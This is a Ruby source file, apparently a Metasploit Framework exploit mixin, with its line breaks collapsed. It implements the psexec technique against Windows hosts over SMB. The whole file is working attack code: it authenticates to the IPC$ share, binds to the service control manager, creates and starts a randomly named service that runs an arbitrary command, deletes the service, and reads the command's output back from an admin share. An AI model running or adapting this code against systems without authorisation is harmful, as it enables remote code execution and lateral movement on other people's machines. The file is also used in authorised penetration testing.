# -*- coding: binary -*- module Msf #### # Allows for reuse of the psexec code execution technique # # This code was stolen straight out of the psexec module. Thanks very # much for all who contributed to that module!! Instead of uploading # and running a binary. #### module Exploit::Remote::SMB::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Authenticated # Retrives output from the executed command # # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param host [String] Remote host to connect to, as an IP address or # hostname # @param file [String] Path to the output file relative to the smbshare # Example: '\WINDOWS\Temp\outputfile.txt' # @return [String,nil] output or nil on failure def smb_read_file(smbshare, host, file) begin simple.connect("\\\\#{host}\\#{smbshare}") file = simple.open(file, 'ro') contents = file.read file.close simple.disconnect("\\\\#{host}\\#{smbshare}") return contents rescue Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") return nil end end # Executes a single windows command. # # If you want to retrieve the output of your command you'll have to # echo it to a .txt file and then use the {#smb_read_file} method to # retrieve it. Make sure to remove the files manually or use # {Exploit::FileDropper#register_files_for_cleanup} to have the # {Exploit::FileDropper#cleanup} and # {Exploit::FileDropper#on_new_session} handlers do it for you. # # @todo Figure out the actual exceptions this needs to deal with # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command # @param disconnect [Boolean] Disconnect afterwards # @param service_description [String] Service Description # @param service_name [String] Service Name # @param display_name [Strnig] Display Name # @return [Boolean] Whether everything went well def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error getting scm handle: #{e}") return false end servicename = service_name || Rex::Text.rand_text_alpha(11) displayname = display_name || Rex::Text.rand_text_alpha(16) svc_handle = nil svc_status = nil stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring( command ) + NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[4,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("#{peer} - Error creating service: #{e}") return false end if service_description vprint_status("#{peer} - Changing service description...") stubdata = svc_handle + NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION NDR.long(0x0200) + # SERVICE_DESCRIPTION struct NDR.long(0x04000200) + NDR.wstring(service_description) begin response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2 rescue Rex::Proto::DCERPC::Exceptions::Fault => e print_error("#{peer} - Error changing service description : #{e}") end end vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error starting service: #{e}") return false end vprint_status("#{peer} - Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error removing service: #{e}") end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error closing service handle: #{e}") end if disconnect sleep(1) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") end return true end def peer return "#{rhost}:#{rport}" end end end